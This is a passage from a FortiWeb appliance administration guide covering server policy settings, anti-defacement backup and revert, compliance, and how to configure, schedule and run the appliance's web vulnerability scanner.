Certificate	Select the server certificate the FortiWeb appliance will use when encrypting or decrypting SSL-secured connections, or select <i>Create New</i> to upload a new certificate in a pop-up window, without leaving the current page. For more information, see “Uploading a server certificate” on page 279 and “Offloading vs. inspection” on page 267. Also configure Certificate Intermediate Group. This option is applicable only if an HTTPS Service is selected.

Setting name	Description
Certificate Verification	Select the name of a certificate verifier, if any, to use when an HTTP client presents its personal certificate. (If you do not select one, the client is not required to present a personal certificate. See also “How to apply PKI client authentication (personal certificates)” on page 283.) Personal certificates, sometimes also called user certificates, establish the identity of the person connecting to the web site (PKI authentication). You can require that clients present a certificate alternatively or in addition to HTTP authentication (see “Offloading HTTP authentication & authorization” on page 221.) This option appears only if an HTTPS Service is selected, and only applies if the FortiWeb appliance is operating in reverse proxy mode. (For transparent proxy mode, configure this setting in the server farm instead. See Certificate Verification in “Grouping your web servers into server farms” on page 246.) Note: The client must support SSL 3.0 or TLS 1.0.
Client Certificate Forwarding	Enable to include the X.509 personal certificate presented by the client during the SSL/TLS handshake, if any, in an <code>X-Client-Cert:</code> HTTP header when forwarding the traffic to the protected web server. FortiWeb will still validate the client certificate itself, but this can be useful if the web server requires the client certificate for the purpose of server-side identity-based functionality. This option appears only if a Certificate Verification rule is selected.
Certificate Intermediate Group	Select the name of a group of intermediate certificate authority (CA) certificates, if any, that will be presented to clients in order to complete the signing chain for them to validate the server certificate’s CA signature. If clients receive certificate warnings that the server certificate configured in Certificate has been signed by an intermediary CA, rather than directly by a root CA or other CA currently trusted by the client, configure this option. Alternatively, include the entire signing chain in the server certificate itself before uploading it to the FortiWeb appliance, thereby completing the chain of trust with a CA already known to the client. See “Uploading a server certificate” on page 279 and “Supplementing a server certificate with its signing chain” on page 281. This option appears only if HTTPS Service is enabled and the FortiWeb appliance is operating in reverse proxy mode.
Persistence Timeout	Type the timeout for inactive TCP connections. This option appears only if Deployment Mode is <i>Server Balance</i> or <i>Transparent Servers</i>.

Setting name	Description
Web Protection Profile	Select the profile to apply to the connections accepted by this policy, or select <i>Create New</i> to add a new profile in a pop-up window, without leaving the current page. For details on specific protection profiles, see: • “Configuring a protection profile for inline topologies” on page 456, • “Configuring a protection profile for an out-of-band topology or asynchronous mode of operation” on page 465, or Note: Depending on the profile types that the current operation mode supports, not all profiles may be available. For details, see Table 42 on page 452. Note: Clients with source IP addresses designated as a trusted IP are exempt from being blocked by the protection profile. For details, see “Blacklisting & whitelisting clients individually by source IP” on page 325.
View Profile Details	To display the settings contained in a profile without leaving the current page, select a profile from Web Protection Profile, then click this button. To return to the policy settings, click <i>Back to Policy Settings</i>.
WAF Auto Learn Profile	Select the auto-learning profile, if any, to use in order to discover attacks, URLs, and parameters in your web servers’ HTTP sessions, or select <i>Create New</i> to add a new auto-learning profile in a pop-up window, without leaving the current page. For details, see “Configuring an auto-learning profile” on page 175.
Monitor Mode	Enable to override any actions included in the profiles, and instead accept the request and generate an alert email and/or log message for all policy violations. Auto-learning requires that you either configure all actions to be <i>Alert</i> or enable this option in order to collect complete session information in order to build accurate protection profiles. Caution: Enabling this action will cause the FortiWeb appliance to permit attack attempts to complete, ignoring the Action setting (deny, redirect, etc.) in protection profile components. Note: Logging and/or alert email will occur only if enabled and configured. See “Logging” on page 530 and “Alert email” on page 564. Note: This option does not affect real browser enforcement. See “Preventing automated requests” on page 347.
URL Case Sensitivity	Enable to differentiate uniform resource locators (URLs) according to upper case and lower case letters for features that act upon the URLs in the headers of HTTP requests, such as start page rules, IP list rules, and page access rules. For example, when this option is enabled, an HTTP request involving <code>http://www.Example.com/</code> would not match profile features that specify <code>http://www.example.com</code> (difference is lower case “e”).

Setting name	Description
Error Page	Select, if any, either <i>[Default]</i> to use or a custom error page, if any, to use when responding to an HTTP request that violates the policy when the consequence <i>Action</i> is <i>Alert & Deny</i> or <i>Period Block</i>. If you select <i>[Default]</i>, configure <i>Error Message</i>. Otherwise see “Uploading a custom error page” on page 454.
Error Message	Type an error message that FortiWeb will use to respond to blocked requests. The maximum length is 1,023 characters. This option appears only when <i>Error Page</i> is <i>[Default]</i>.
Server Health Check	Select which server health check, if any, to use when determining responsiveness of web servers in the server farm, or select <i>Create New</i> to add a server health check in a pop-up window, without leaving the current page. For details, see “Configuring server up/down checks” on page 244. This option appears only if <i>Deployment Mode</i> is <i>Server Balance</i>, or <i>Content Routing</i>. Note: If a web server is unresponsive, wait until the server becomes responsive again before disabling its server health check. Server health checks record the up or down status of the server. If you deactivate the server health check while the server is unresponsive, the server health check will be unable to update the recorded status, and FortiWeb appliance will continue to regard the web server as if it were unresponsive. You can determine the web server’s connectivity status using the <i>Service Status</i> widget or an SNMP trap. For details, see “Server Status widget” on page 526 or “Configuring an SNMP community” on page 569.
Load Balancing Algorithm	Select which load-balancing algorithm to use when distributing new connections amongst web servers in the server farm. This option appears only if <i>Deployment Mode</i> is <i>Server Balance</i>. • Round Robin — Distributes new TCP connections to the next web server in the server farm, regardless of weight, response time, traffic load, or number of existing connections. Unresponsive servers are avoided. • Weighted Round Robin — Distributes new TCP connections using the round robin method, except that web servers with a higher weight value will receive a larger percentage of connections. • Least Connection — Distributes new TCP connections to the web server with the fewest number of existing, fully-formed TCP connections. • HTTP session based Round Robin — Distributes new TCP connections, if they are not associated with an existing HTTP session, to the next web server in the server farm, regardless of weight, response time, traffic load, or number of existing connections. Unresponsive servers are avoided. Note: Session management is <i>not</i> enabled automatically when you enable this feature, and therefore it requires that you enable <i>Session Management</i> in the web protection profile.
Comments	Type a description or other comment. The description may be up to 35 characters long.

5. Click **OK**.

The server policy appears in the list on *Policy > Server Policy > Server Policy*. Initially, it is enabled. For information on disabling a policy without deleting it, see [“Enabling or disabling a policy” on page 484](#).

Legitimate traffic should now be able to flow, while policy-violating traffic (that is, traffic that is prohibited by the settings in your policy or protection profile) may be blocked, depending on your *Action* settings for the rule that the traffic has violated.



Whitelisted items will **not** be included in policy enforcement. See [“Configuring the global object white list” on page 453](#).

6. To verify the policy, test it by forming connections between legitimate clients and servers at various points within your network topology. Also attempt to send traffic that violates your policy, and should be logged, modified, or blocked.



If you have another FortiWeb appliance, you can use its web vulnerability scanner to verify that your policy is blocking attacks as you expect. For details, see [“Vulnerability scans” on page 493](#).

If a connection fails, you can use tools included in the firmware to determine whether the problem is local to the appliance or elsewhere on the network. See [“Troubleshooting” on page 616](#) and [“Reducing false positives” on page 610](#). Also consider troubleshooting recommendations included with each feature’s instructions.

See also

- [How operation mode affects server policy behavior](#)
- [Enabling or disabling a policy](#)
- [Sequence of scans](#)

Enabling or disabling a policy

You can individually enable and disable policies.



When the operation mode is reverse proxy, disabling a policy could block traffic if no remaining active policies match that traffic. When no policies exist or none are enabled, the FortiWeb appliance blocks all HTTP/HTTPS traffic.

Even if you disable a server policy, it will still consume memory (RAM). If you do not plan to use the policy for some time, consider deleting it instead.

To enable or disable a policy

1. Go to *Policy > Server Policy > Server Policy*.

Create New Edit Delete									
	#	Policy Name	Policy Type	Virtual Server	HTTP Service	HTTPS Service	Deployment Mode	Enable	Status
	1	Policy1	Web Protection	Veserver1	HTTP		Server Balance		
	2	Policy2	XML Protection	Veserver1		HTTPS	Single Server		

2. In the row corresponding to the policy that you want to **enable**, mark the check box in the *Enable* column.
3. In the row corresponding to the policy that you want to **disable**, clear the check box in the *Enable* column.

See also

- [How operation mode affects server policy behavior](#)
- [Configuring a server policy](#)

Anti-defacement

The anti-defacement features monitors your web sites for defacement attacks. If it detects a change, it can automatically reverse the damage.

This feature can be especially useful if you are a hosting provider with many customers, such as favorite local restaurants or community associations, who have basic web pages that should not be changed, but it is impractical to manually monitor them on a continuous basis.



Anti-defacement backs up web pages only, **not** databases.

Content that will **not** be backed up includes all database-driven content that is inserted into web pages using AJAX, PHP, JSP, ASP, or ColdFusion, such as bulletin boards, forums, blogs, and shopping carts: page content does **not** reside within the page markup itself, but instead resides in a back-end database that is queried and whose results are dynamically inserted into page content at runtime when the client requests a page. Separately from configuring anti-defacement, you should regularly back up MySQL, Oracle, PostgreSQL, and other databases and defend them with controls such as [FortiDB](#).

The anti-defacement feature examines a web site's files for changes at specified time intervals. If it detects a change that could indicate a defacement attack, the FortiWeb appliance can notify you and quickly react by automatically restoring the web site contents to the previous backup.



Before updating a web site where you are using web site anti-defacement, disable both the *Enable Monitor* and *Restore Changed Files Automatically* options. Otherwise, the FortiWeb appliance will perceive your changes as a defacement attempt and undo them.

To configure anti-defacement

1. Go to *Web Anti-Defacement > Web Anti-Defacement > Web Site with Anti-Defacement*.

Create New Edit Delete View Revert Refresh								
ID	Name	Hostname/IP	Monitor	Connected	Total Files	Total Backup	Total Changed	
1	Shop at Example.com	192.0.32.10	Enabled	—✓—	0	0	0	
2	Products at Example.com	192.0.32.10	Disabled	—✗—	0	0	0	

Field	Description
Monitor	Indicates whether or not anti-defacement is currently enabled for the web site. • Green icon — Anti-defacement is enabled. • Flashing yellow-to-red icon — Anti-defacement is off because the <i>Enable Monitor</i> option is disabled.
Connected	Indicates the connection results of the FortiWeb appliance's most recent attempt to connect to the web site's server. • Green check mark icon — The connection was successful. • Red X mark icon — The FortiWeb appliance was unable to connect. Verify the IP address/FQDN and login credentials of your anti-defacement configuration. If these are valid, verify that connectivity has not been interrupted by dislodged cables, routers, or firewalls.
Total Files	Displays the total number of files on the web site.
Total Backup	Displays the total number of files that have been backed up onto the FortiWeb appliance for recovery purposes. Those files that you choose not to monitor will not be backed up.
Total Changed	Displays the total number of files that have changed.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Web Anti-Defacement Management* category. For details, see "[Permissions](#)" on page 46.

2. Click *Create New*.

Alternatively, click an entry to view its contents, then click the *Edit* button.

A dialog appears.

3. Configure these settings:

Setting name	Description
Web Site Name	Type a name for the web site. This name is not used when monitoring the web site. It does not need to be the web site's FQDN or virtual host name.
Description	Enter a comment. up to 63 characters long. This field is optional.
Enable Monitor	Enable to monitor the web site's files for changes, and to download backup revisions that can be used to revert the web site to its previous revision if the FortiWeb appliance detects a change attempt. Note: While you are intentionally modifying the web site, you must turn off this option and <i>Restore Changed Files Automatically</i>. Otherwise, the FortiWeb appliance will detect your changes as a defacement attempt, and undo them.
Hostname/IP Address	Type the IP address or FQDN of the web server on which the web site is hosted. This will be used when connecting by SSH or FTP to the web site to monitor its contents and download backup revisions, and therefore could be different from the host name that may appear in the <code>Host:</code> field of HTTP headers. For example, clients might connect to the public DNS name <code>www.example.com</code>, while FortiWeb would connect using the web server's private network IP address, <code>192.168.1.1</code>.
Connection Type	Select which protocol (<i>FTP</i> , <i>SSH</i> , or <i>Windows Share</i>) to use when connecting to the web site in order to monitor its contents and download web site backups.
FTP/SSH Port	Enter the TCP port number on which the web site's real server listens. The standard port number for FTP is 21; the standard port number for SSH is 22. This field appears only if <i>Connection Type</i> is <i>FTP</i> or <i>SSH</i>.
Windows Share Name	Type the name of the shared folder on the web server, such as <code>Share</code>. Do not include the CIFS host name or workgroup name. This field appears only if <i>Connection Type</i> is <i>Windows Share</i>.

Setting name	Description
Folder of Web Site	Type the path to the web site's folder, such as <code>public_html</code> or <code>wwwroot</code>, on the real server. The path is relative to the initial location when logging in with the user name that you specify in User Name. This field appears only if Connection Type is <i>FTP</i> or <i>SSH</i>.
User Name	Enter the user name, such as <code>FortiWeb</code> , that the FortiWeb appliance will use to log in to the web site's real server.
Password	Enter the password for the user name you entered in User Name .
Alert Email Address	From the drop-down list, select existing email settings that contains one or more recipient email addresses (MAIL TO:) to which the FortiWeb appliance will send an email when it detects that the web site has changed.
Monitor Interval for Root Folder	Enter the time interval in seconds between each monitoring connection from the FortiWeb appliance to the web server. During this connection, the FortiWeb appliance examines Folder of Web Site (but not its subfolders) to see if any files have changed by comparing the files with the latest backup. If it detects any file changes, the FortiWeb appliance will download a new backup revision. If you have enabled Restore Changed Files Automatically, the FortiWeb appliance will revert the files to their previous version. For details, see “Reverting a defaced web site” on page 490.
Monitor Interval for Other Folder	Enter the time interval in seconds between each monitoring connection from the FortiWeb appliance to the web server. During this connection, the FortiWeb appliance examines subfolders to see if any files have been changed by comparing the files with the latest backup. If any file change is detected, the FortiWeb appliance will download a new backup revision. If you have enabled Restore Changed Files Automatically, the FortiWeb appliance will revert the files to their previous version. For details, see “Reverting a defaced web site” on page 490.
Maximum Depth of Monitored Folders	Type how many folder levels deep to monitor for changes to the web site's files. Files in subfolders deeper than this level will not be backed up.
Skip Files Larger Than	Type a file size limit in kilobytes (KB) to indicate which files will be included in the web site backup. Files exceeding this size will not be backed up. The default file size limit is 10 240 KB. Note: Backing up large files can impact performance.

Setting name	Description
Skip Files With These Extensions	Type zero or more file extensions, such as <code>iso</code> , <code>avi</code> , to exclude from the web site backup. Separate each file extension with a comma. Note: Backing up large files, such as video and audio, can impact performance.
Restore Changed Files Automatically	Enable to automatically restore the web site to the previous revision number when it detects that the web site has been changed. Disable to do nothing. In this case, you must manually restore the web site to a previous revision when the FortiWeb appliance detects that the web site has been changed. See “Reverting a defaced web site” on page 490 . Note: While you are intentionally modifying the web site, you must turn off this option and <i>Enable Monitor</i> . Otherwise, the FortiWeb appliance will detect your changes as a defacement attempt, and undo them. Note: FortiWeb does <i>not</i> restore your back-end database, if any. If the web site has been defaced using SQL injection or similar attacks and its database-driven content has been affected, even if this option is enabled, you will need to manually restore the database.

- Click *Test Connection* to test the connection between the FortiWeb appliance and the web server.
- Click *OK*.

During the next interval, FortiWeb should connect to download its first backup. You should notice that *Total Files* and *Total Files* will increment, and *Connected* should become and remain a green check mark.

Create New Edit Delete View Revert Refresh								
	ID	Name	Hostname/IP	Monitor	Connected	Total Files	Total Backup	Total Changed
☐	1	Shop at Example.com	192.0.32.10	Enabled		0	0	0
☐	2	Products at Example.com	192.0.32.10	Disabled		0	0	0

If not, first verify the login and IP address that you provided. Also, on the web server, check the file system permissions for the account that FortiWeb is using to connect. (FortiWeb must be able to both read and, if it will be restoring files, write to the folder and files. On Microsoft Windows, you may need to examine your security policy configuration to make sure that the account is authenticating as itself, and is not degrading to the guest account.) Verify that a route exists between the FortiWeb and the web server, and that connectivity is reliable, with no packet loss. Also verify that any routers or firewalls between them, including Windows Firewall, are not blocking SSH, FTP, or CIFS connections. Other troubleshooting varies by the protocol that FortiWeb is using to connect, such as checking for a compatible protocol version and cipher suite.

See also

- [Reverting a defaced web site](#)
- [Anti-defacement](#)

Reverting a defaced web site

When you configure a FortiWeb appliance to protect a web site via anti-defacement, FortiWeb periodically downloads a backup copy of that web site's files automatically. It creates a new backup revision in the following cases:

- When the FortiWeb appliance initiates monitoring for the first time, the FortiWeb appliance will download a backup copy of the web site's files and store it as the first revision.



Backup copies will omit files exceeding the file size limit and/or matching the file extensions that you have configured the FortiWeb appliance to omit. See [“Anti-defacement” on page 485](#).

- If the FortiWeb appliance could not successfully connect during a monitor interval, it will create a new revision the next time that it re-establishes the connection.

If you choose not to enable [Restore Changed Files Automatically](#), you can still manually revert the defaced web site after a defacement attack to any known good backup revision that the FortiWeb appliance has downloaded.

To revert a web site to a backup revision

1. Go to *Web Anti-Defacement > Web Anti-Defacement > Web Site with Anti-Defacement*.
2. Mark the check box next to the web site you want to revert, click the *Revert* icon.

A dialog appears, listing previous site backup copies.

Web Site Revision List - Shop at Example.com

View 30 per page Line: 1 / 0 Refresh Return

Revision	Commit Time	
63	2010-10-29 16:34:55	
62	2010-10-29 16:33:30	
61	2010-10-29 16:24:38	
60	2010-10-29 16:23:20	
59	2010-10-29 16:14:21	
58	2010-10-29 16:13:02	
57	2009-10-29 16:05:17	
56	2010-10-29 16:03:55	

3. In the row corresponding to the copy that you want to restore, click the *Revert to this time* icon.

The FortiWeb appliance connects to the web server and replaces defaced files from the revision you selected.

4. Click *OK*.

Compliance

Compliance regimes, whether requires by law or business organizations, typically require that you demonstrate effective security policies and practices.

Requirements vary by the regime. [HIPAA](#) and the Sarbanes-Oxley Act (SOX) emphasize the need for database security, authorization, and the prevention of data leaks. [HITECH](#) requires disclosure of security breaches. [PCI DSS](#) concerns the prevention of information disclosure but also requires periodic scans.

Database security

As the front door to your databases, your web sites are critical to secure. FortiWeb can help to apply ad hoc security to them by properly constraining web inputs of all kinds, and by preventing data leaks in your web applications' reply traffic.

If your database has other avenues for input, however, that back door may still be open to attack. Consider a database security specialist such as [FortiDB](#).

Authorization

To ensure that only authenticated individuals can access your web sites, and only for the URLs that they are authorized for, you can use FortiWeb to add PKI authentication and/or HTTP authorization.

For instructions, see [“How to apply PKI client authentication \(personal certificates\)” on page 283](#) and [“Offloading HTTP authentication & authorization” on page 221](#).

Preventing data leaks

Large companies and organizations often have large stores of personally identifiable information that is valuable on the black market. Often this takes the form of credit card numbers and passwords, but could also be more specialized information such as:

- addresses and names of your business's clients
- students' names and ages
- email addresses
- IT information on your organization's computers and their vulnerabilities

To detect and block accidental data leaks from your web pages, or mitigate an attack that has managed to evade security and is attempting to harvest your databases, you can configure FortiWeb to detect and block those types of data. For instructions, see [“Blocking known attacks & data leaks” on page 377](#).

If even your logs must not contain sensitive information, you can configure FortiWeb to omit it. See [“Obscuring sensitive data in the logs” on page 539](#).

Vulnerability scans

You can scan for known vulnerabilities on your web servers and web applications, helping you to design protection profiles that are an effective and efficient use of processing resources.

Vulnerability reports from a certified vendor can help you comply with regulations and certifications that require periodic vulnerability scans, such as Payment Card Industry Data Security Standard (PCI DSS).

Run vulnerability scans during initial FortiWeb deployment (see [“How to set up your FortiWeb” on page 59](#)) **and** any time you are staging a new version of your web applications. You may also be required by your compliance regime to provide reports on a periodic basis, such as quarterly.

Each vulnerability scan starts from an initial URL, authenticates if set up to do so, then scans for vulnerabilities in web pages that it crawls to from links on the initial page. After performing the scan, the FortiWeb appliance generates a report from the scan results.



Create and run web vulnerability scans early in the configuration of your FortiWeb appliance. Use the reports to locate vulnerabilities and fine-tune your protection settings.



If you have many web servers, you may want a [FortiScan](#) appliance to:

- deepen vulnerability scans
- integrate patch deployment
- prioritize and track fixes via ticketing
- offload and distribute scans to improve performance and remove bottlenecks

To run a web vulnerability scan

1. Optionally, configure email settings. Email settings included in vulnerability scan profiles cause FortiWeb to email scan reports (see [“Configuring email settings” on page 563](#)).
2. Prepare the staging or development web server for the scan (see [“Preparing for the vulnerability scan” on page 493](#)).
3. Create a scan schedule, unless you plan to execute the scan manually. The schedule defines the frequency the scan will be run (see [“Scheduling web vulnerability scans” on page 494](#)).
4. Create a scan profile. The profile defines which vulnerabilities to scan for (see [“Configuring vulnerability scan settings” on page 495](#)).
5. Create a scan policy. The policy integrates a scan profile and schedule (see [“Running vulnerability scans” on page 500](#)).
6. Either start the vulnerability scan manually (see [“Manually starting & stopping a vulnerability scan” on page 502](#)), or wait for it to run automatically according to its schedule.
7. Examine vulnerability scan report. The report provides details and analysis of the scan results (see [“Viewing vulnerability scan reports” on page 503](#)).

See also

- [Preparing for the vulnerability scan](#)
- [Running vulnerability scans](#)
- [Configuring vulnerability scan settings](#)
- [Scheduling web vulnerability scans](#)
- [Viewing vulnerability scan reports](#)

Preparing for the vulnerability scan

For best results, before running a vulnerability scan, you should prepare the network and target hosts for the vulnerability scan.

Live web sites

Fortinet strongly recommends that you do **not** scan for vulnerabilities on live web sites. Instead, duplicate the web site and its database in a test environment such as a staging server and perform the scan in that environment. For more information, see [“Scan Mode” on page 497](#).

Network accessibility

You may need to configure each target host and any intermediary NAT or firewalls to allow the vulnerability scan to reach the target hosts.

Traffic load & scheduling

You should talk to the owners of target hosts to determine an appropriate time to run the vulnerability scan. You can even schedule in advance the time that the FortiWeb will begin the scan.

For example, you might schedule to avoid peak traffic hours, to restrict unrelated network access, and to ensure that the target hosts will not be powered off during the vulnerability scan.

To determine the current traffic load, see [“Real Time Monitor widget” on page 524](#). For scheduling information, see [“Scheduling web vulnerability scans” on page 494](#).



Rapid access can result in degraded network performance during the scan. If you do not rate limit the vulnerability scan, some web servers could perceive its rapid rate of requests as a denial of service (DoS) attack. You may need to configure the web server to omit rate limiting for connections originating from the IP address of the FortiWeb appliance. Alternatively, you can configure the vulnerability scan to send requests more slowly. See [“Delay Between Each Request” on page 497](#).

See also

- [Configuring vulnerability scan settings](#)
- [Scheduling web vulnerability scans](#)
- [Running vulnerability scans](#)
- [Manually starting & stopping a vulnerability scan](#)
- [Viewing vulnerability scan reports](#)

Scheduling web vulnerability scans

Web Vulnerability Scan > Web Vulnerability Scan > Web Vulnerability Schedule enables you to configure vulnerability scan schedules.

A vulnerability scan schedule defines when the scan will automatically begin, and whether the scan is a one-time or periodically recurring event.

To configure a vulnerability scan schedule


1. Go to *Web Vulnerability Scan > Web Vulnerability Scan > Web Vulnerability Schedule*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Web Vulnerability Scan Configuration* category. For details, see ["Permissions" on page 46](#).

2. Click *Create New*.

A dialog appears.

3. Configure these settings:



Setting name	Description
Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Type	Select the type of schedule: • One Time — Run the vulnerability scan once. • Recurring — Run the vulnerability scan periodically.
Time	Select the time of day to run the scan.
Date	Select the date to run the scan. This setting is available only if <i>Type</i> is <i>One Time</i> .
Day	Select the days of the week to run the scan. This setting is available only if <i>Type</i> is <i>Recurring</i> .

4. Click *OK*.
5. To use the profile, select it in a web vulnerability scan policy (see ["Running vulnerability scans" on page 500](#)).

See also

- [Preparing for the vulnerability scan](#)
- [Configuring vulnerability scan settings](#)
- [Running vulnerability scans](#)
- [Manually starting & stopping a vulnerability scan](#)
- [Viewing vulnerability scan reports](#)

Configuring vulnerability scan settings

Web Vulnerability Scan > Web Vulnerability Scan > Web Vulnerability Profile enables you to configure vulnerability scan profiles.

A vulnerability scan profile defines a web server that you want to scan, as well as the specific vulnerabilities to scan for. Vulnerability scan profiles are used by vulnerability scan policies, which determine when to perform the scan and how to publish the results of the scan defined by the profile.

To configure a vulnerability scan profile

1. If FortiWeb must authenticate in order to reach all URLs that will be involved in the vulnerability scan, configure the web application (if it provides form-based authentication) with an account that FortiWeb can use to log in.



For best results, the account should have permissions to all functionality used by the web site. If URLs and inputs vary by account type, you may need to create multiple accounts — one for each non-overlapping set — and run separate vulnerability scans for each account.

2. Go to *Web Vulnerability Scan > Web Vulnerability Scan > Web Vulnerability Profile*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Web Vulnerability Scan Configuration* category. For details, see ["Permissions" on page 46](#).

3. Click *Create New*.

A dialog appears.

4. Configure these settings:

New Web Vulnerability Scan Profile

Name

Hostname/IP or URL:
(e.g. "www.mytestwvs.com", "http://www.mytestwvs.com:8080/test/login.php")

Scan:

- ☒ Common Web Server Vulnerability
- ☒ XSS (Cross-site Scripting)
- ☒ SQL Injection
- ☒ Source-code Disclosure
- ☒ OS Commanding

Scan Mode:

☒ Enhanced Mode ☐ Basic Mode
(“Enhanced Mode” will post test data to web server.)

Request Timeout: seconds

Delay Between Each Request: seconds

▶ Login Option

▶ Scan Web Site URLs Option

Setting name	Description
Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Hostname/IP or URL	Type the fully qualified domain name (FQDN), IP address, or full URL to indicate which directory of the web site you want to scan. Behavior of the scan varies by the type of the entry: • A FQDN/IP such as www.example.com. Assume HTTP and scan the entire web site located on this host. • A partial URL such as https://webmail.example.com/dir1/. Use the protocol specified in the URL, and scan the web pages located in this directory of the web site. Other directories will be ignored. • A full URL such as http://example.com/dir1/start.jsp. Use the protocol specified in the URL, starting from the web page in the URL, and scan all local URLs reachable via links from this web page that are located within the same subdirectory. Links to external web sites and redirects using HTTP 301 Moved Permanently or 302 Moved Temporarily or Found will not be followed. Unless you will enter an IP address for the host, you must have configured a DNS server that the FortiWeb appliance can use to query for the FQDN. For details, see “Configuring DNS settings” on page 128. Note: This starting point for the scan can be overridden if the web server automatically redirects the request after authentication. See Login with HTTP Authentication and Login with specified URL/data.

Setting name	Description
Scan	Enable detection of any of the following vulnerabilities that you want to include in the scan report: • <i>Common Web Server Vulnerability</i> (outdated software and software with known memory leaks, buffer overflows, and other problems) • <i>XSS (Cross-site Scripting)</i> • <i>SQL Injection</i> • <i>Source-code Disclosure</i> • <i>OS Commanding</i>
Scan Mode	Select whether the scan job will use <i>Basic Mode</i> (use HTTP <code>GET</code> only and omit both user-defined and predefined sensitive URLs) or <i>Enhanced Mode</i> (use both HTTP <code>POST</code> and <code>GET</code>, excluding only user-defined URLs). Also configure Exclude scanning following URLs. <i>Basic Mode</i> will avoid alterations to the web site's databases, but only if all inputs always uses <code>POST</code> requests. It also omits testing of the following URLs, which could be sensitive: • <code>/formatd</code> • <code>/formatdisk</code> • <code>/shutdown</code> • <code>/restart</code> • <code>/reboot</code> • <code>/reset</code> Caution: Fortinet strongly recommends that you do not scan for vulnerabilities on live web sites, even if you use <i>Basic Mode</i>. Instead, duplicate the web site and its database into a test environment, and then use <i>Enhanced Mode</i> with that test environment. <i>Basic Mode</i> cannot be guaranteed to be non-destructive. Many web sites accept input through HTTP <code>GET</code> requests, and so it is possible that a vulnerability scan could result in database changes, even though it does not use <code>POST</code>. In addition, <i>Basic Mode</i> cannot test for vulnerabilities that are only discoverable through <code>POST</code>, and therefore may not find all vulnerabilities.
Request Timeout	Type the number of seconds for the vulnerability scanner to wait for a response from the web site before it assumes that the request will not successfully complete, and continues with the next request in the scan. It will not retry requests that time out.
Delay Between Each Request	Type the number of seconds to wait between each request. Some web servers may rate limit the number of requests, or blacklist clients that issue continuous requests and therefore appear to be a web site harvester or denial of service (DoS) attacker. Introducing a delay can be useful to prevent the vulnerability scanner from being blacklisted or rate limited, and therefore slow or unable to complete its scan. Note: Increasing the delay will increase the time required to complete the scan.

5. Click *Login Option*'s blue arrow to expand the section, then configure the following:

▼ Login Option

Login with HTTP Authentication: ☐

User:

Password:

Login with specified URL/data: ☐

Authenticate URL: (e.g. "/logincheck")

Authenticate Data: (e.g. "username=admin&secretkey=admin123")

Setting name	Description
Login with HTTP Authentication	Enable to use basic HTTP authentication if the web server returns HTTP 401 Unauthorized to request authorization. Also configure User and Password. Alternatively, configure Login with specified URL/data. After authentication, if the web server redirects the request (HTTP 302), the FortiWeb appliance will use this new web page as its starting point for the scan, replacing the URL that you configured in Hostname/IP or URL. Note: If a web site requires authentication and you do not configure the vulnerability scan to authenticate, the scan results will be incomplete.
User	Type the user name to provide to the web site if it requests HTTP authentication.
Password	Type the password corresponding to the user name.
Login with specified URL/data	Enable to authenticate if the web server does not use HTTP 401 Authorization Required, but instead provides a web page with a form that allows the user to authenticate using HTTP POST. Also configure Authenticate URL and Authenticate Data. After authentication, if the web server redirects the request (HTTP 302 Found), the FortiWeb appliance will use this new web page as its starting point for the scan, replacing the URL that you configured in Hostname/IP or URL. Note: If a web site requires authentication and you do not configure it, the scan results will be incomplete.
Authenticate URL	Type the URL, such as /login.jsp, that the vulnerability scan will use to authenticate with the web application before beginning the scan.
Authenticate Data	Type the parameters, such as userid=admin&password=Re2b8WyUI, that will be accompany the HTTP POST request to the authentication URL, and contains the values necessary to authenticate. Typically, this string will include user name and password parameters, but may contain other variables, depending on the web application.

- Click *Scan Web Site URLs Option*'s blue arrow to expand the section, then configure the following:

▼ **Scan Web Site URLs Option**

☒ **Crawl entire web site automatically**
 Crawl URLs Limit:

☐ **Specify URLs for scanning**

(specify web site URLs, each URL per line, e.g. "/product/catalog.php")

☐ **Exclude scanning following URLs**

(specify URL or keyword, each URL per line, e.g. "/product/buy.php", "shutdown")

Setting name	Description
Crawl entire website automatically	Select this option to automatically follow links leading from the initial starting point that you configured in Hostname/IP or URL. The vulnerability scanner will stop following links when it has scanned the number of URLs configured in Crawl URLs Limit. Alternatively, select Specify URLs for scanning.
Crawl URLs Limit	Type the maximum number of URLs to scan for vulnerabilities while automatically crawling links leading from the initial starting point. Note: The actual number of URLs scanned could exceed this limit if the vulnerability scanner reaches the limit but has not yet finished crawling all links on a page that it has already started to scan.
Specify URLs for scanning	Select this option to manually specify which URLs to scan, such as <code>/login.do</code>, rather than having the vulnerability scanner automatically crawl the web site. Enter each URL on a separate line in the text box. You can enter up to 10,000 URLs.
Exclude scanning following URLs	Enable to exclude specific URLs, such as <code>/addItem.cfm</code>, from the vulnerability scan. Enter each URL on a separate line in the text box. This may be useful to accelerate the scan if you know that some URLs do not need scanning. It could also be useful if you are scanning a live web site and wish to prevent the scanner from inadvertently adding information to your databases. You can enter up to 1,000 URLs.

- Click **OK**.
- To use the profile, select it in a web vulnerability scan policy (see [“Running vulnerability scans” on page 500](#)).

See also

- [Preparing for the vulnerability scan](#)
- [Scheduling web vulnerability scans](#)
- [Manually starting & stopping a vulnerability scan](#)
- [Viewing vulnerability scan reports](#)

Running vulnerability scans

In order to run a vulnerability scan, you must apply a schedule (if any) to a profile of settings, as well as providing a few additional details.

A vulnerability scan policy defines the scheduling type of scan (an immediate scan or a scheduled scan), the profile to use, the file format of the report, and recipients.

To configure a web vulnerability scan policy

1. Configure a vulnerability scan profile. See [“Configuring vulnerability scan settings” on page 495](#).
2. If the scan will run by a schedule instead of being manually initiated, create a vulnerability scan schedule. See [“Scheduling web vulnerability scans” on page 494](#).
3. Go to *Web Vulnerability Scan > Web Vulnerability Scan > Web Vulnerability Scan Policy*.

#	Name	Schedule	Profile	Status
1	WVS-Policy1	Run Now	WVS-Profile1	
Scan has finished. Discovered Information : 0 Discovered Low Severity Vulnerability : 0 Discovered Medium Severity Vulnerability : 0 Discovered High Severity Vulnerability : 0				
2	WVS-Policy2	Midweek-Schedule	WVS-Profile2	

Status


Start/Stop

Field	Description
Status	Indicates whether the scan is idle (the status indicator is solid green) or running (the status indicator is flashing red and yellow).
